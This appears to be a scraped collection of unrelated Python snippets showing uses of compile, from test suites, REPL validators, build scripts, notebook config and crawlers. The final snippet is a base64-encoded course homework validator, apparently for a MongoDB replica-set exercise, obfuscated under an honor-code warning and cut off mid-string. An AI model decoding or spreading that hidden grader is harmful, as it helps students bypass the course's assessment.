def gen_href(cur, topcoder):
	global testcase_crawled
	id_pairs = get_id_pair(cur)
	c = 0
	for c_id, p_id in id_pairs:
		print c_id, p_id
		url = problem_detail_url % (c_id, p_id)
		c += 1
		if c % 50 == 0:
			topcoder.login()
		try:
			page = topcoder.get_page(url)
		except Exception, e:
			print c_id, p_id, e
			continue
		#import pdb
		#pdb.set_trace()
		p = compile('<td class="statText">Top Submission</td>[\d\D]*?</tr>')
		divs = p.findall(page)
		testcase_crawled = False
		for div in divs:
			p = compile('<td class="statText" align="right">[\d\D]*?</td>')
			tds = p.findall(div)
			for i in xrange(4):
				gen_solution(cur, tds[i], i, p_id)
    def validate(self, document):
        """
        Check input for Python syntax errors.
        """
        # When the input starts with Ctrl-Z, always accept. This means EOF in a
        # Python REPL.
        if document.text.startswith('\x1a'):
            return

        try:
            if self.get_compiler_flags:
                flags = self.get_compiler_flags()
            else:
                flags = 0

            compile(document.text, '<input>', 'exec', flags=flags, dont_inherit=True)
        except SyntaxError as e:
            # Note, the 'or 1' for offset is required because Python 2.7
            # gives `None` as offset in case of '4=4' as input. (Looks like
            # fixed in Python 3.)
            index = document.translate_row_col_to_index(e.lineno - 1,  (e.offset or 1) - 1)
            raise ValidationError(index, 'Syntax Error')
        except TypeError as e:
            # e.g. "compile() expected string without null bytes"
            raise ValidationError(0, str(e))
        except ValueError as e:
            # In Python 2, compiling "\x9" (an invalid escape sequence) raises
            # ValueError instead of SyntaxError.
            raise ValidationError(0, 'Syntax Error: %s' % e)
    def _importtestmodule(self):
        # We have to remove the __future__ statements *before* parsing
        # with compile, otherwise the flags are ignored.
        content = re.sub(_RE_FUTURE_IMPORTS, b'', self.content)

        new_mod = types.ModuleType(self.mod_name)
        new_mod.__file__ = six.text_type(self.fspath)

        if hasattr(self, '_transform_ast'):
            # ast.parse doesn't let us hand-select the __future__
            # statements, but built-in compile, with the PyCF_ONLY_AST
            # flag does.
            tree = compile(
                content, six.text_type(self.fspath), 'exec',
                self.flags | ast.PyCF_ONLY_AST, True)
            tree = self._transform_ast(tree)
            # Now that we've transformed the tree, recompile it
            code = compile(
                tree, six.text_type(self.fspath), 'exec')
        else:
            # If we don't need to transform the AST, we can skip
            # parsing/compiling in two steps
            code = compile(
                content, six.text_type(self.fspath), 'exec',
                self.flags, True)

        pwd = os.getcwd()
        try:
            os.chdir(os.path.dirname(six.text_type(self.fspath)))
            six.exec_(code, new_mod.__dict__)
        finally:
            os.chdir(pwd)
        self.config.pluginmanager.consider_module(new_mod)
        return new_mod
Example #4
0
 def test_invalid_sum(self):
     pos = dict(lineno=2, col_offset=3)
     m = ast.Module([ast.Expr(ast.expr(**pos), **pos)])
     with self.assertRaises(TypeError) as cm:
         compile(m, "<test>", "exec")
     if support.check_impl_detail():
         self.assertIn("but got <_ast.expr", str(cm.exception))
Example #5
0
 def check_roundtrip(self, code1, filename="internal"):
     ast1 = compile(code1, filename, "exec", ast.PyCF_ONLY_AST)
     unparse_buffer = cStringIO.StringIO()
     unparse.Unparser(ast1, unparse_buffer)
     code2 = unparse_buffer.getvalue()
     ast2 = compile(code2, filename, "exec", ast.PyCF_ONLY_AST)
     self.assertASTEqual(ast1, ast2)
Example #6
0
    def test_compile_ast(self):
        fname = __file__
        if fname.lower().endswith(('pyc', 'pyo')):
            fname = fname[:-1]
        with open(fname, 'r') as f:
            fcontents = f.read()
        sample_code = [
            ['<assign>', 'x = 5'],
            ['<ifblock>', """if True:\n    pass\n"""],
            ['<forblock>', """for n in [1, 2, 3]:\n    print(n)\n"""],
            ['<deffunc>', """def foo():\n    pass\nfoo()\n"""],
            [fname, fcontents],
        ]

        for fname, code in sample_code:
            co1 = compile(code, '%s1' % fname, 'exec')
            ast = compile(code, '%s2' % fname, 'exec', _ast.PyCF_ONLY_AST)
            self.assertTrue(type(ast) == _ast.Module)
            co2 = compile(ast, '%s3' % fname, 'exec')
            self.assertEqual(co1, co2)
            # the code object's filename comes from the second compilation step
            self.assertEqual(co2.co_filename, '%s3' % fname)

        # raise exception when node type doesn't match with compile mode
        co1 = compile('print(1)', '<string>', 'exec', _ast.PyCF_ONLY_AST)
        self.assertRaises(TypeError, compile, co1, '<ast>', 'eval')

        # raise exception when node type is no start node
        self.assertRaises(TypeError, compile, _ast.If(), '<ast>', 'exec')

        # raise exception when node has invalid children
        ast = _ast.Module()
        ast.body = [_ast.BoolOp()]
        self.assertRaises(TypeError, compile, ast, '<ast>', 'exec')
Example #7
0
 def Update_Fields_State(self):
     if self.fixed_range.checkState() == 2:
         for k,l in enumerate(["X_Start","X_End","Y_Start","Y_End"]):
             eval(compile("self.Display_Range_"+str(k)+".setEnabled(True)",'<string>','exec'))
     else:
         for k,l in enumerate(["X_Start","X_End","Y_Start","Y_End"]):
             eval(compile("self.Display_Range_"+str(k)+".setEnabled(False)",'<string>','exec'))
Example #8
0
def test_subprocess_interaction(anypython):
    line = gateway_io.popen_bootstrapline
    compile(line, 'xyz', 'exec')
    args = [str(anypython), '-c', line]
    popen = subprocess.Popen(args, bufsize=0, universal_newlines=True,
                             stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    def send(line):
        popen.stdin.write(line)
        if sys.version_info > (3,0) or sys.platform.startswith("java"):
            popen.stdin.flush()
    def receive():
        return popen.stdout.readline()

    try:
        source = py.code.Source(read_write_loop, "read_write_loop()")
        repr_source = repr(str(source)) + "\n"
        sendline = repr_source
        send(sendline)
        s = receive()
        assert s == "ok\n"
        send("hello\n")
        s = receive()
        assert s == "received: hello\n"
        send("world\n")
        s = receive()
        assert s == "received: world\n"
        send('\n') # terminate loop
    finally:
        popen.stdin.close()
        popen.stdout.close()
        popen.wait()
Example #9
0
    def test_indentation(self):
        # testing compile() of indented block w/o trailing newline"
        s = """
if 1:
    if 2:
        pass"""
        compile(s, "<string>", "exec")
Example #10
0
 def prepare(self):
     if self.template:
         code = self.translate(self.template)
         self.co = compile(code, '<string>', 'exec')
     else:
         code = self.translate(open(self.filename).read())
         self.co = compile(code, self.filename, 'exec')
Example #11
0
def autocompile(ws, conf, env, **options):
    """Subcommand: autocompile -- automatically re-compiles when something in
    content-dir has changed and parallel serving files."""

    CONF_PY = './conf.py'

    mtime = -1
    cmtime = getmtime(CONF_PY)

    while True:
        ntime = max(
            max(getmtime(e) for e in readers.filelist(conf['content_dir']) if utils.istext(e)),
            max(getmtime(p) for p in readers.filelist(conf['layout_dir'])))
        if mtime != ntime:
            try:
                compile(conf, env, **options)
            except AcrylamidException as e:
                log.fatal(e.args[0])
                pass
            event.reset()
            mtime = ntime

        if cmtime != getmtime(CONF_PY):
            log.info(' * Restarting due to change in %s' % (CONF_PY))
            # Kill the webserver
            ws.shutdown()
            # Force compilation since no template was changed
            argv = sys.argv if options['force'] else sys.argv[:] + ["--force"]
            # Restart acrylamid
            os.execvp(sys.argv[0], argv)

        time.sleep(1)
Example #12
0
 def _create_action_method(self, i, action):
     # CM loading style action. Returns an object, such as a coord.
     exec compile('def _exec_action_%d(self, field, f, pp, grib, cm): return %s' % (i, action), '<string>', 'exec')
     # Make it a method of ours.
     exec 'self._exec_action_%d = types.MethodType(_exec_action_%d, self, type(self))' % (i, i)
     # Add to our list of actions.
     exec 'self._exec_actions.append(self._exec_action_%d)' % i
Example #13
0
 def _create_action_method(self, i, action):
     # PP saving style action. No return value, e.g. "pp.lbft = 3".
     exec compile('def _exec_action_%d(self, field, f, pp, grib, cm): %s' % (i, action), '<string>', 'exec')
     # Make it a method of ours.
     exec 'self._exec_action_%d = types.MethodType(_exec_action_%d, self, type(self))' % (i, i)
     # Add to our list of actions.
     exec 'self._exec_actions.append(self._exec_action_%d)' % i
Example #14
0
def flow_text(context, width, line_height, text):
    """ Flow a block of text into the given width, returning when needed.
    """
    still = compile(r'^\S')
    words = compile(r'^(\S+(\s*))(.*)$', DOTALL)
    
    CR, LF = '\r', '\n'
    text = text.replace(CR+LF, LF).replace(CR, LF)
    
    while still.match(text):
        match = words.match(text)
        head, space, text = match.group(1), match.group(2), match.group(3)
        
        head_extent = context.text_extents(head)
        head_width, x_advance = head_extent[2], head_extent[4]
        
        x, y = context.get_current_point()

        # will we move too far to the right with this word?
        if x + head_width > width:
            context.move_to(0, y + line_height)
        
        context.show_text(head)
        context.rel_move_to(x_advance, 0)
        
        # apply newline if necessary
        while LF in space:
            y = context.get_current_point()[1]
            context.move_to(0, y + line_height)
            space = space[1 + space.index(LF):]
    def _compile_template(self, lang, input_path, output_path, no_html=False):
        try:
            # Create output directory
            self._create_dir(os.path.split(output_path)[0])

            try:
                # Open input file
                code = codecs.open(input_path, 'r', 'utf-8').read()
            except UnicodeDecodeError, e:
                raise CompileException(0, 0, input_path, str(e))

            # Compile
            if no_html:
                output = compile(code, loader=load_template_source, path=input_path,
                            options=get_options_for_path(input_path) + ['no-html'])
            else:
                output = compile(code, loader=load_template_source, path=input_path,
                            options=get_options_for_path(input_path))

            # Open output file
            codecs.open(output_path, 'w', 'utf-8').write(output)

            # Delete -c-recompile file (mark for recompilation) if one such exist.
            if os.path.exists(output_path + '-c-recompile'):
                os.remove(output_path + '-c-recompile')

            return True
Example #16
0
def prod():
  """
  Generate production files (call optimize then compile)
  """

  optimize()
  compile()
Example #17
0
def EVAL(ast, env):
    # try it as an expression then a statement
    try:
        return eval(ast)
    except SyntaxError:
        exec compile(ast, '', 'single') in globals()
        return None
Example #18
0
    def test_pack_float(self):
        def pack(x, size):
            result = []
            ieee.pack_float(result, x, size, False)
            l = []
            for x in result:
                for c in x:
                    l.append(str(ord(c)))
            return ','.join(l)
        c_pack = compile(pack, [float, int])

        def unpack(s):
            l = s.split(',')
            s = ''.join([chr(int(x)) for x in l])
            return ieee.unpack_float(s, False)
        c_unpack = compile(unpack, [str])

        def check_roundtrip(x, size):
            s = c_pack(x, size)
            if not isnan(x):
                # pack uses copysign which is ambiguous for NAN
                assert s == pack(x, size)
                assert unpack(s) == x
                assert c_unpack(s) == x
            else:
                assert isnan(unpack(s))
                assert isnan(c_unpack(s))

        for size in [2, 4, 8]:
            check_roundtrip(123.4375, size)
            check_roundtrip(-123.4375, size)
            check_roundtrip(INFINITY, size)
            check_roundtrip(NAN, size)
    def compile_pages(self, pages):
        """Given a list of pages, replace the pages with objects.

        All dynamic resources compile the first two pages the same way. It's
        the third and following pages that differ, so we require subclasses to
        supply a method for that: compile_page.

        """

        # Exec the first page and compile the second.
        # ===========================================

        one, two = pages[:2]

        context = dict()
        context['__file__'] = self.fs
        context['website'] = self.website

        one = compile(one.padded_content, self.fs, 'exec')
        exec one in context    # mutate context
        one = context          # store it

        two = compile(two.padded_content, self.fs, 'exec')

        pages[:2] = (one, two)

        # Subclasses are responsible for the rest.
        # ========================================

        pages[2:] = (self.compile_page(page) for page in pages[2:])

        return pages
Example #20
0
    def test_attributes(self):
        for feature in features:
            value = getattr(__future__, feature)

            optional = value.getOptionalRelease()
            mandatory = value.getMandatoryRelease()

            a = self.assertTrue
            e = self.assertEqual
            def check(t, name):
                a(isinstance(t, tuple), "%s isn't tuple" % name)
                e(len(t), 5, "%s isn't 5-tuple" % name)
                (major, minor, micro, level, serial) = t
                a(isinstance(major, int), "%s major isn't int"  % name)
                a(isinstance(minor, int), "%s minor isn't int" % name)
                a(isinstance(micro, int), "%s micro isn't int" % name)
                a(isinstance(level, basestring),
                    "%s level isn't string" % name)
                a(level in GOOD_SERIALS,
                       "%s level string has unknown value" % name)
                a(isinstance(serial, int), "%s serial isn't int" % name)

            check(optional, "optional")
            if mandatory is not None:
                check(mandatory, "mandatory")
                a(optional < mandatory,
                       "optional not less than mandatory, and mandatory not None")

            a(hasattr(value, "compiler_flag"),
                   "feature is missing a .compiler_flag attr")
            # Make sure the compile accepts the flag.
            compile("", "<test>", "exec", value.compiler_flag)
            a(isinstance(getattr(value, "compiler_flag"), int),
                   ".compiler_flag isn't int")
Example #21
0
def main():
    # Clean the build root.
    if os.path.exists(BUILD_ROOT):
        shutil.rmtree(BUILD_ROOT)
    # Create the build root.
    os.mkdir(BUILD_ROOT)
    os.mkdir(API_BUILD_ROOT)
    # Create the compiled js files.
    print("Compiling javascript...")
    compile((os.path.join(LIB_ROOT, "flowplayer", "flowplayer.js"),
             os.path.join(LIB_ROOT, "domready", "domready.js"),
             os.path.join(SRC_ROOT, "api", "html5media.js"),),
            os.path.join(API_BUILD_ROOT, "html5media.min.js"))
    # Copy over the Flowplayer resources.
    print("Copying SWF files...")
    shutil.copy(os.path.join(LIB_ROOT, "flowplayer", "flowplayer.swf"),
                os.path.join(API_BUILD_ROOT, "flowplayer.swf"))
    shutil.copy(os.path.join(LIB_ROOT, "flowplayer", "flowplayer.controls.swf"),
                os.path.join(API_BUILD_ROOT, "flowplayer.controls.swf"))
    shutil.copy(os.path.join(LIB_ROOT, "flowplayer.audio", "flowplayer.audio.swf"),
                os.path.join(API_BUILD_ROOT, "flowplayer.audio.swf"))
    # Copy over the license and readme files.
    print("Copying readme files...")
    shutil.copy(os.path.join(PROJECT_ROOT, "LICENSE"),
                os.path.join(API_BUILD_ROOT, "LICENSE"))
    shutil.copy(os.path.join(PROJECT_ROOT, "README.markdown"),
                os.path.join(BUILD_ROOT, "README"))
    # Copy over the demo page.
    print("Copying media files...")
    shutil.copytree(os.path.join(MEDIA_ROOT),
                    os.path.join(MEDIA_BUILD_ROOT))
    shutil.copyfile(os.path.join(SRC_ROOT, "index.html"),
                    os.path.join(BUILD_ROOT, "index.html"))
    shutil.copyfile(os.path.join(SRC_ROOT, "test.html"),
                    os.path.join(BUILD_ROOT, "test.html"))
    # Add the built api files to the CDN.
    print("Updating the CDN...")
    if os.path.exists(CDN_BUILD_ROOT):
        shutil.rmtree(CDN_BUILD_ROOT)
    shutil.copytree(API_BUILD_ROOT,
                    os.path.join(CDN_BUILD_ROOT))
    # Update the CDN version number.
    with open(CDN_APP_YAML, "r", encoding="utf-8") as handle:
        app_yaml = handle.read()
    app_yaml = re.sub("^version: .+$",
                      "version: {}".format(API_VERSION.replace(".", "-")),
                      app_yaml, 0, re.MULTILINE)
    with open(CDN_APP_YAML, "w", encoding="utf-8") as handle:
        handle.write(app_yaml)
    # Create the demo page.
    print("Creating the demo page...")
    if os.path.exists(HTML_ROOT):
        shutil.rmtree(HTML_ROOT)
    os.mkdir(HTML_ROOT)
    copy_html(os.path.join(BUILD_ROOT, "index.html"),
              os.path.join(HTML_ROOT, "index.html"))
    copy_html(os.path.join(BUILD_ROOT, "test.html"),
              os.path.join(HTML_ROOT, "test.html"))
    # Compile complete!
    print("Compile complete!")
Example #22
0
def interpret(code_text):
    if not DO_PYTHON:
        return "I'm not doing Python.", ""
    
    saved_stdout = sys.stdout
    saved_stderr = sys.stderr
    output = StringIO.StringIO()
    trace = ""
    try:
        sys.stdout = output
        sys.stderr = output
        
        tree = ast.parse(code_text, "<your input>")
        code1 = code2 = None
        if tree.body and isinstance(tree.body[-1], ast.Expr):
            last_line = ast.Interactive(tree.body[-1:])
            tree.body = tree.body[:-1]
            code2 = compile(last_line, "<your input>", "single")
        if tree.body:
            code1 = compile(tree, "<your input>", "exec")

        if code1:
            exec code1 in NOTEBOOK_GLOBALS
        if code2:
            exec code2 in NOTEBOOK_GLOBALS
    except Exception, KeyboardInterrupt:
        trace = traceback.format_exc()
Example #23
0
def Use(name):
    # print(dir(sys.modules['solidpy'])); exit()
    if name.endswith(".solid.py"):
        with open(name) as f:
            code = compile(f.read(), name, "exec")
            exec(code, script_globals)  # , script_locals)
    elif name.endswith(".scad"):
        Defaults.includeFiles.append(name)
    else:
        import imp

        try:
            fname = imp.find_module(name)[1]
        except:
            try:
                fname = imp.find_module(name + ".solid")[1]
            except:
                fname = imp.find_module(name + "/" + name + ".solid")[1]
        if fname is None:
            code = "from " + name + " import *"
            exec(code, script_globals)  # , script_locals)
        else:
            with open(fname) as f:
                code = compile(f.read(), fname, "exec")
                exec(code, script_globals)  # , script_locals)
Example #24
0
 def mod(self, mod, msg=None, mode="exec", *, exc=ValueError):
     mod.lineno = mod.col_offset = 0
     ast.fix_missing_locations(mod)
     with self.assertRaises(exc) as cm:
         compile(mod, "<test>", mode)
     if msg is not None:
         self.assertIn(msg, str(cm.exception))
Example #25
0
def execfile_(filepath, _globals):
    from sphinx.util.osutil import fs_encoding
    # get config source -- 'b' is a no-op under 2.x, while 'U' is
    # ignored under 3.x (but 3.x compile() accepts \r\n newlines)
    f = open(filepath, 'rbU')
    try:
        source = f.read()
    finally:
        f.close()

    # py25,py26,py31 accept only LF eol instead of CRLF
    if sys.version_info[:2] in ((2, 5), (2, 6), (3, 1)):
        source = source.replace(b('\r\n'), b('\n'))

    # compile to a code object, handle syntax errors
    filepath_enc = filepath.encode(fs_encoding)
    try:
        code = compile(source, filepath_enc, 'exec')
    except SyntaxError:
        if convert_with_2to3:
            # maybe the file uses 2.x syntax; try to refactor to
            # 3.x syntax using 2to3
            source = convert_with_2to3(filepath)
            code = compile(source, filepath_enc, 'exec')
        else:
            raise
    exec(code, _globals)
Example #26
0
 def test_invalid_string(self):
     m = ast.Module([ast.Expr(ast.Str(42))])
     ast.fix_missing_locations(m)
     with self.assertRaises(TypeError) as cm:
         compile(m, "<test>", "exec")
     if support.check_impl_detail():
         self.assertIn("string must be of type str or uni", str(cm.exception))
Example #27
0
 def test_empty_yield_from(self):
     # Issue 16546: yield from value is not optional.
     empty_yield_from = ast.parse("def f():\n yield from g()")
     empty_yield_from.body[0].body[0].value.value = None
     with self.assertRaises(ValueError) as cm:
         compile(empty_yield_from, "<test>", "exec")
     self.assertIn("field value is required", str(cm.exception))
Example #28
0
 def function(self):
     code = "_lam = lambda %s: %s"%(",".join(self.arguments),self.return_expr)
     print "code:", code
     result = {}
     exec compile(code, '<string>', 'exec') in result
     print "result", result["_lam"]
     return result["_lam"]
Example #29
0
 def test_invalid_identitifer(self):
     m = ast.Module([ast.Expr(ast.Name(42, ast.Load()))])
     ast.fix_missing_locations(m)
     with self.assertRaises(TypeError) as cm:
         compile(m, "<test>", "exec")
     if support.check_impl_detail():
         self.assertIn("identifier must be of type str", str(cm.exception))
def importorskip(modname, minversion=None):
    """ return imported module if it has at least "minversion" as its
    __version__ attribute.  If no minversion is specified the a skip
    is only triggered if the module can not be imported.
    """
    __tracebackhide__ = True
    compile(modname, '', 'eval') # to catch syntaxerrors
    should_skip = False
    try:
        __import__(modname)
    except ImportError:
        # Do not raise chained exception here(#1485)
        should_skip = True
    if should_skip:
        raise Skipped("could not import %r" %(modname,), allow_module_level=True)
    mod = sys.modules[modname]
    if minversion is None:
        return mod
    verattr = getattr(mod, '__version__', None)
    if minversion is not None:
        try:
            from pkg_resources import parse_version as pv
        except ImportError:
            raise Skipped("we have a required version for %r but can not import "
                          "pkg_resources to parse version strings." % (modname,),
                          allow_module_level=True)
        if verattr is None or pv(verattr) < pv(minversion):
            raise Skipped("module %r has __version__ %r, required is: %r" %(
                          modname, verattr, minversion), allow_module_level=True)
    return mod
Example #31
0
 def test_different_filenames(self):
     co1 = compile("x", "f1", "exec")
     co2 = compile("y", "f2", "exec")
     co1, co2 = marshal.loads(marshal.dumps((co1, co2)))
     self.assertEqual(co1.co_filename, "f1")
     self.assertEqual(co2.co_filename, "f2")
Example #32
0
 def test_empty(self):
     compile("", "<test>", "exec")
Example #33
0
 def test_compile_to_ast(self):
     import ast
     source = Source("x = 4")
     mod = source.compile(flag=ast.PyCF_ONLY_AST)
     assert isinstance(mod, ast.Module)
     compile(mod, "<filename>", "exec")
Example #34
0
def _compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1):
    return compile(source, filename, mode, flags, dont_inherit, optimize)
c.NotebookApp.quit_button = False

if os.environ.get('JUPYTERHUB_SERVICE_PREFIX'):
    c.NotebookApp.base_url = os.environ.get('JUPYTERHUB_SERVICE_PREFIX')

################## JUPYTERPG ################

# https://jupyter-notebook.readthedocs.io/en/latest/config.html#options

tcKernelTimeout = int(os.environ.get('JUPYTERNB_KERNEL_TIMEOUT', '0'))
c.NotebookApp.shutdown_no_activity_timeout = 3601
c.MappingKernelManager.cull_idle_timeout = tcKernelTimeout
c.MappingKernelManager.cull_busy = False
c.MappingKernelManager.cull_connected = True
c.MappingKernelManager.cull_interval = 301

#############################################

password = os.environ.get('JUPYTER_NOTEBOOK_PASSWORD')
if password:
    import notebook.auth
    c.NotebookApp.password = notebook.auth.passwd(password)
    del password
    del os.environ['JUPYTER_NOTEBOOK_PASSWORD']

image_config_file = '/opt/app-root/src/.jupyter/jupyter_notebook_config.py'

if os.path.exists(image_config_file):
    with open(image_config_file) as fp:
        exec(compile(fp.read(), image_config_file, 'exec'), globals())
Example #36
0
def main(argv=None):
    import getopt
    if argv is None:
        argv = sys.argv
    try:
        opts, prog_argv = getopt.getopt(argv[1:], 'tcrRf:d:msC:lTg', [
         'help', 'version', 'trace', 'count',
         'report', 'no-report', 'summary',
         'file=', 'missing',
         'ignore-module=', 'ignore-dir=',
         'coverdir=', 'listfuncs',
         'trackcalls', 'timing'])
    except getopt.error as msg:
        sys.stderr.write('%s: %s\n' % (sys.argv[0], msg))
        sys.stderr.write("Try `%s --help' for more information\n" % sys.argv[0])
        sys.exit(1)

    trace = 0
    count = 0
    report = 0
    no_report = 0
    counts_file = None
    missing = 0
    ignore_modules = []
    ignore_dirs = []
    coverdir = None
    summary = 0
    listfuncs = False
    countcallers = False
    timing = False
    for opt, val in opts:
        if opt == '--help':
            usage(sys.stdout)
            sys.exit(0)
        if opt == '--version':
            sys.stdout.write('trace 2.0\n')
            sys.exit(0)
        if opt == '-T' or opt == '--trackcalls':
            countcallers = True
            continue
        if opt == '-l' or opt == '--listfuncs':
            listfuncs = True
            continue
        if opt == '-g' or opt == '--timing':
            timing = True
            continue
        if opt == '-t' or opt == '--trace':
            trace = 1
            continue
        if opt == '-c' or opt == '--count':
            count = 1
            continue
        if opt == '-r' or opt == '--report':
            report = 1
            continue
        if opt == '-R' or opt == '--no-report':
            no_report = 1
            continue
        if opt == '-f' or opt == '--file':
            counts_file = val
            continue
        if opt == '-m' or opt == '--missing':
            missing = 1
            continue
        if opt == '-C' or opt == '--coverdir':
            coverdir = val
            continue
        if opt == '-s' or opt == '--summary':
            summary = 1
            continue
        if opt == '--ignore-module':
            for mod in val.split(','):
                ignore_modules.append(mod.strip())

            continue
        if opt == '--ignore-dir':
            for s in val.split(os.pathsep):
                s = os.path.expandvars(s)
                s = s.replace('$prefix', os.path.join(sys.prefix, 'lib', 'python' + sys.version[:3]))
                s = s.replace('$exec_prefix', os.path.join(sys.exec_prefix, 'lib', 'python' + sys.version[:3]))
                s = os.path.normpath(s)
                ignore_dirs.append(s)

            continue

    if listfuncs and (count or trace):
        _err_exit('cannot specify both --listfuncs and (--trace or --count)')
    if not (count or trace or report or listfuncs or countcallers):
        _err_exit('must specify one of --trace, --count, --report, --listfuncs, or --trackcalls')
    if report and no_report:
        _err_exit('cannot specify both --report and --no-report')
    if report and not counts_file:
        _err_exit('--report requires a --file')
    if no_report and len(prog_argv) == 0:
        _err_exit('missing name of file to run')
    if report:
        results = CoverageResults(infile=counts_file, outfile=counts_file)
        results.write_results(missing, summary=summary, coverdir=coverdir)
    else:
        sys.argv = prog_argv
        progname = prog_argv[0]
        sys.path[0] = os.path.split(progname)[0]
        t = Trace(count, trace, countfuncs=listfuncs, countcallers=countcallers, ignoremods=ignore_modules, ignoredirs=ignore_dirs, infile=counts_file, outfile=counts_file, timing=timing)
        try:
            with open(progname) as fp:
                code = compile(fp.read(), progname, 'exec')
            globs = {'__file__': progname,
               '__name__': '__main__',
               '__package__': None,
               '__cached__': None
               }
            t.runctx(code, globs, globs)
        except IOError as err:
            _err_exit('Cannot run file %r because: %s' % (sys.argv[0], err))
        except SystemExit:
            pass

        results = t.results()
        if not no_report:
            results.write_results(missing, summary=summary, coverdir=coverdir)
    return
Example #37
0
 def parse(source, mode):
     return compile(source, '', mode, _ast.PyCF_ONLY_AST)
Example #38
0
                ),
            ),
            'items',
        )
        for spec in [cluster.get('spec', {}) if cluster.get('spec', {}) is not None else {"error": "Invalid spec in manifest"}]
        for metadata in [cluster['metadata']]
        for namespace in [metadata['namespace']]
        for name in [metadata['name']]
        for uid in [metadata.get('uid', '')]
    ]
    return respond(postgresqls)


# Note these are meant to be consistent with the operator backend validations;
# See https://github.com/zalando/postgres-operator/blob/master/pkg/cluster/cluster.go  # noqa
VALID_SIZE = compile(r'^[1-9][0-9]{0,3}Gi$')
VALID_CLUSTER_NAME = compile(r'^[a-z0-9]+[a-z0-9\-]+[a-z0-9]+$')
VALID_DATABASE_NAME = compile(r'^[a-zA-Z_][a-zA-Z0-9_]*$')
VALID_USERNAME = compile(
    r'''
        ^[a-z0-9]([-_a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-_a-z0-9]*[a-z0-9])?)*$
    ''',
    X,
)

ROLEFLAGS = '''
    SUPERUSER
    INHERIT
    LOGIN
    NOLOGIN
    CREATEROLE
Example #39
0
import base64

# please don't decode this program. It's a violation of the honor code.
code="CmltcG9ydCBweW1vbmdvCmltcG9ydCByYW5kb20KaW1wb3J0IHJlCmltcG9ydCBzdHJpbmcKaW1wb3J0IHN5cwppbXBvcnQgZ2V0b3B0CmltcG9ydCBwcHJpbnQKCiMgQ29weXJpZ2h0IDIwMTIKIyAxMGdlbiwgSW5jLgojIEF1dGhvcjogQW5kcmV3IEVybGljaHNvbiAgIGFqZUAxMGdlbi5jb20KIwojIElmIHlvdSBhcmUgYSBzdHVkZW50IGFuZCByZWFkaW5nIHRoaXMgY29kZSwgdHVybiBiYWNrIG5vdywgYmVmb3JlCiMgdGhlIE1vbmdvREIgZ29kcyBzbWl0ZSB5b3UuCgpjb25uZWN0aW9uID0gTm9uZQpkYiA9IE5vbmUKbW9uZ29zdHIgPSAibW9uZ29kYjovL2xvY2FsaG9zdDoyNzAxNyIKZGJfbmFtZSA9ICJhZG1pbiIKcnNfbmFtZSA9ICJtMTAxIgoKIyB0aGlzIHNjcmlwdCB3aWxsIGNoZWNrIHRoYXQgYSByZXBsaWNhIHNldCB3aXRoIHRocmVlIG5vZGVzIGlzIHJ1bm5pbmcgb24gYSBob3N0CgojIGNvbW1hbmQgbGluZSBhcmcgcGFyc2luZyB0byBtYWtlIGZvbGtzIGhhcHB5IHdobyB3YW50IHRvIHJ1biBhdCBtb25nb2xhYnMgb3IgbW9uZ29ocQojIHRoaXMgZnVuY3Rpb25zIHVzZXMgZ2xvYmFsIHZhcnMgdG8gY29tbXVuaWNhdGUuIGZvcmdpdmUgbWUuCmRlZiBhcmdfcGFyc2luZyhhcmd2KToKCiAgICBnbG9iYWwgd2ViaG9zdAogICAgZ2xvYmFsIG1vbmdvc3RyCiAgICBnbG9iYWwgZGJfbmFtZQoKICAgIHRyeToKICAgICAgICBvcHRzLCBhcmdzID0gZ2V0b3B0LmdldG9wdChhcmd2LCAiLXA6LW06LWQ6IikKICAgIGV4Y2VwdCBnZXRvcHQuR2V0b3B0RXJyb3I6CiAgICAgICAgcHJpbnQgInVzYWdlIHZhbGlkYXRlLnB5IC1tIG1vbmdvQ29ubmVjdFN0cmluZyIKICAgICAgICBwcmludCAiXHRtb25nb0Nvbm5lY3Rpb25TdHJpbmcgZGVmYXVsdCB0byB7MH0iLmZvcm1hdChtb25nb3N0cikKICAgICAgICBwcmludCAiXHRkYXRhYmFzZU5hbWUgZGVmYXVsdHMgdG8gezB9Ii5mb3JtYXQoZGJfbmFtZSkKICAgICAgICBzeXMuZXhpdCgyKQogICAgZm9yIG9wdCwgYXJnIGluIG9wdHM6CiAgICAgICAgaWYgKG9wdCA9PSAnLWgnKToKICAgICAgICAgICAgcHJpbnQgInVzYWdlIHZhbGlkYXRlLnB5IC1tIG1vbmdvQ29ubmVjdFN0cmluZyAtZCBkYXRhYmFzZU5hbWUiCiAgICAgICAgICAgIHN5cy5leGl0KDIpCiAgICAgICAgZWxpZiBvcHQgaW4gKCItbSIpOgogICAgICAgICAgICBtb25nb3N0ciA9IGFyZwogICAgICAgICAgICBwcmludCAiT3ZlcnJpZGluZyBNb25nb0RCIGNvbm5lY3Rpb24gc3RyaW5nIHRvIGJlICIsIG1vbmdvc3RyCiAgICAgICAgZWxpZiBvcHQgaW4gKCItZCIpOgogICAgICAgICAgICBkYl9uYW1lID0gYXJnCiAgICAgICAgICAgIHByaW50ICJPdmVycmlkaW5nIE1vbmdvREIgZGF0YWJhc2UgdG8gYmUgIiwgZGJfbmFtZQoKIyBnZXRzIHRoZSByZXBsaWNhIHNldCBzdGF0dXMKZGVmIGdldF9yc19zdGF0dXMoKToKICAgIGRiID0gY29ubmVjdGlvbi5hZG1pbgogICAgcnMgPSBkYi5jb21tYW5kKCJyZXBsU2V0R2V0U3RhdHVzIikKICAgIHJldHVybiBycwoKIyBnZXRzIHRoZSByZXBsaWNhIHN0YXRlIGNvbmZpZwpkZWYgZ2V0X3JzX2NvbmZpZ3VyYXRpb24oKToKICAgIGRiID0gY29ubmVjdGlvbi5sb2NhbAogICAgY29sbCA9IGRiLnN5c3RlbS5yZXBsc2V0CiAgICByZXR1cm4gY29sbC5maW5kX29uZSgpCgpkZWYgcmVwbF9zZXRfcnVubmluZyhudW1fbm9kZXMpOgoKICAgIHRyeToKICAgICAgICBycyA9IGdldF9yc19zdGF0dXMoKQogICAgICAgIGNvbmYgPSBnZXRfcnNfY29uZmlndXJhdGlvbigpCiAgICAgICAgaG9zdHMgID0gY29ubmVjdGlvbi5ob3N0cwogICAgZXhjZXB0OgogICAgICAgIHByaW50ICJjYW4ndCBxdWVyeSBNb25nb0RCLi5pcyBpdCBydW5uaW5nPyIKICAgICAgICByYWlzZQogICAgICAgIHJldHVybiBGYWxzZQoKICAgIGlmIChyc1snb2snXSAhPSAxKToKICAgICAgICBwcmludCAiU29ycn